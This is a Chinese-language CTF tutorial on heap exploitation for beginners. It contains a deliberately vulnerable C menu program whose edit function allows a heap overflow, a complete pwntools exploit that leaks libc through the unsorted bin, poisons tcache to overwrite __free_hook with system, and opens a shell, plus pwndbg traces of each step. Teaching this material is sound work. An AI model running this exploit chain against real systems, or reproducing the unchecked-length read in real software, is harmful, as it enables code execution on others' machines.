對堆題的總體思路
淺說一下pwn堆并用一個簡單的例子具體說明
給剛入坑堆的小朋友說的一些思路
說一下堆是什么
堆你可以看成一個結構體數組,然后數組里每個元素都會開辟一塊內存來存儲數據
那么這塊用來存儲數據的內存就是堆。
結構體數組在BSS段上,其內容就是堆的地址,也就是堆的指針。
說一下堆的理解
堆有很多題型 什么堆溢出,off by null , uaf 等。
核心的話主要是學思想,所有人都知道我要得到shell,cat flag。但是要怎么去干得有個過程,
比如我們做棧題,很容易知道我要劫持棧的返回去執行任意地址,填入shellcode什么的。
堆的話也是一樣。
就是用system去執行/bin/sh。越復雜的問題往往只需要很簡單的道理。
所以堆到底要怎么去執行。
我們可以把某一個函數的內容改成system,下次調用該函數即是使用system,
再在別的堆里面放入/bin/sh字符串,然后再用剛剛修改的函數,使用已經放入字符串的堆。
即可執行system(/bin/sh)了
一般修改__free_hook,使其內容變成system然后再free掉放有/bin/sh的堆
舉例說明
我用一個很簡單的例子去一步一步簡單剖析。
這里我用一個很簡單的例子去一步一步簡單剖析。
先給出源碼和gcc編譯,使用的是Ubuntu18
gcc -o lizi lizi.c
#include
#include
char *heap[0x20];
int num=0;
void create()
{
if(num>=0x20)
{
puts("no more");
return;
}
int size;
puts("how big");
scanf("%d",&size);
heap[num]=(char *)malloc(size);
num++;
}
void show(){
int idx;
char buf[4];
puts("idx");
(read(0, buf, 4));
idx = atoi(buf);
if (!heap[idx]) {
puts("no have things");
} else {
printf("Content:");
printf("%s",heap[idx]);
}
}
void dele()
{
int idx;
char buf[4];
puts("idx");
(read(0, buf, 4));
idx = atoi(buf);
if (!heap[idx]) {
puts("no have things");
} else {
free(heap[idx]);
heap[idx]=NULL;
num--;
}
}
void edit()
{
int size;
int idx;
char buf[4];
puts("idx");
(read(0, buf, 4));
idx = atoi(buf);
if (!heap[idx]) {
puts("no have things");
} else {
puts("how big u read");
scanf("%d",&size);
puts("Content:");
read(0,heap[idx],size);
}
}
void menu(void){
puts("1.create");
puts("2.dele");
puts("3.edit");
puts("4.show");
}
void main()
{
int choice;
while(1)
{
menu();
scanf("%d",&choice);
switch(choice)
{
case 1:create();break;
case 2:dele();break;
case 3:edit();break;
case 4:show();break;
default:puts("error");
}
}
}
我們也不用ida了,直接源碼分析,很明顯在edit處能知道我們可以修改堆大小,
而導致的堆溢出修改下一個堆。
我們可以直接使用unsortedbin,申請較大的堆,再free掉,再申請個小堆,
使其從unsortedbin里面切割堆,這樣,你申請的小堆就會有一些unsortedbin里面的東西。
(具體請看unsortedbin介紹)
結合exp介紹:
from pwn import *
r=process('./lizi')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
def add(size):
r.sendlineafter("4.show",'1')
r.sendlineafter("idx",str(size))
def dele(idx):
r.sendlineafter("4.show",'2')
r.sendlineafter("idx",str(idx))
def edit(idx,size,con):
r.sendlineafter("4.show",'3')
r.sendlineafter("idx",str(idx))
r.sendlineafter("how big u read",str(size))
r.sendafter("Content:",con)
def show(idx):
r.sendlineafter("4.show",'4')
r.sendlineafter("idx",str(idx))
add(0x420)
add(0x420)
add(0x420)
dele(1)
add(0x70)
show(2)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ec090
print(hex(base))
free=base+libc.sym['__free_hook']
sys=base+libc.sym['system']
add(0x70)
dele(3)
edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))
add(0x70)
add(0x70)
edit(3,0x10,"/bin/sh\x00")
edit(4,0x10,p64(sys))
dele(3)
r.interactive()
首先菜單不用多說,很簡單的交互,寫好就行
然后申請3個堆,為了保證能進入unsortedbin,得大于tcache的大小,然后free掉1號堆
unsortedbin all: 0x55ce36aa7aa0 —? 0x7f4f9036aca0 (main_arena+96) ?— 0x55ce36aa7aa0
可以看到1號堆已經進入到unsortedbin了
然后申請一個小堆
pwndbg> x/32gx 0x55697b2cfaa0 0x55697b2cfaa0: 0x0000000000000000 0x0000000000000081 0x55697b2cfab0: 0x00007fb8eada6090 0x00007fb8eada6090 0x55697b2cfac0: 0x000055697b2cfaa0 0x000055697b2cfaa0 0x55697b2cfad0: 0x0000000000000000 0x0000000000000000 0x55697b2cfae0: 0x0000000000000000 0x0000000000000000 0x55697b2cfaf0: 0x0000000000000000 0x0000000000000000 0x55697b2cfb00: 0x0000000000000000 0x0000000000000000 0x55697b2cfb10: 0x0000000000000000 0x0000000000000000 0x55697b2cfb20: 0x0000000000000000 0x00000000000003b1 0x55697b2cfb30: 0x00007fb8eada5ca0 0x00007fb8eada5ca0 0x55697b2cfb40: 0x0000000000000000 0x0000000000000000 0x55697b2cfb50: 0x0000000000000000 0x0000000000000000 0x55697b2cfb60: 0x0000000000000000 0x0000000000000000 0x55697b2cfb70: 0x0000000000000000 0x0000000000000000 0x55697b2cfb80: 0x0000000000000000 0x0000000000000000 0x55697b2cfb90: 0x0000000000000000 0x0000000000000000
查看申請堆的地址可以發現,11行處是已經之前free掉的1號堆,這個申請的堆會在unsortedbin里面切割
然后會有殘留地址,然后我們把他show出來就可以計算一波libc地址了。
算出system,__free_hook的libc,
接著為什么要多申請一個堆,這里就是堆溢出的打法了,
在剛剛申請的堆后面再建一個堆,然后通過free掉修改內容指向__free_hook地址
再把內容改成system就可以把free當做system用了;
在edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))后面打個斷點
GDB看看
pwndbg> bin tcachebins 0x80 [ 1]: 0x55f37c653b30 —? 0x7f4497d688e8 (__free_hook) ?— ... fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x55f37c653ba0 —? 0x7f4497d66ca0 (main_arena+96) ?— 0x55f37c653ba0 smallbins empty largebins empty
會發現tcache里面已經有__free_hook了,因為已經把內容改成__free_hook的地址了。
然后申請2個堆,把tcache里面的__free_hook拿出來。
你也可以驗證一下、
pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x55f37bb59000 0x55f37bb5a000 r-xp 1000 0 pwndbg> x/32gx 0x5597ecced000+0x202040 0x5597eceef040 : 0x00005597ee8ef680 0x0000000000000000 0x5597eceef050 : 0x00005597ee8efab0 0x00005597ee8efb30 0x5597eceef060 : 0x00007f7694f2e8e8 0x0000000000000000 0x5597eceef070 : 0x0000000000000000 0x0000000000000000
0x202040是heap的偏移,可以從ida里面找到。
申請出來的堆,__free_hook在4號堆
pwndbg> x/32gx 0x00007f7694f2e8e8 0x7f7694f2e8e8 <__free_hook>: 0x0000000000000000 0x0000000000000000 0x7f7694f2e8f8 : 0x0000000000000000 0x0000000000000000
成功證明,
然后已知4號堆是__free_hook了,那么將4號堆的內容改成system的地址,不就可以了嗎
然后再把3號堆寫入/bin/sh
然后free(實際上已經變成system)掉3號堆(實際上已經是/bin/sh)了
成功取得shell
總結
做堆題主要是要有一個總體想法就是要把什么變成system去執行shell,或者也有別的,比如malloc,等
這里只是一個總體思路,畢竟拿到堆題如果一條總想法都沒有的話,就只能干坐著了。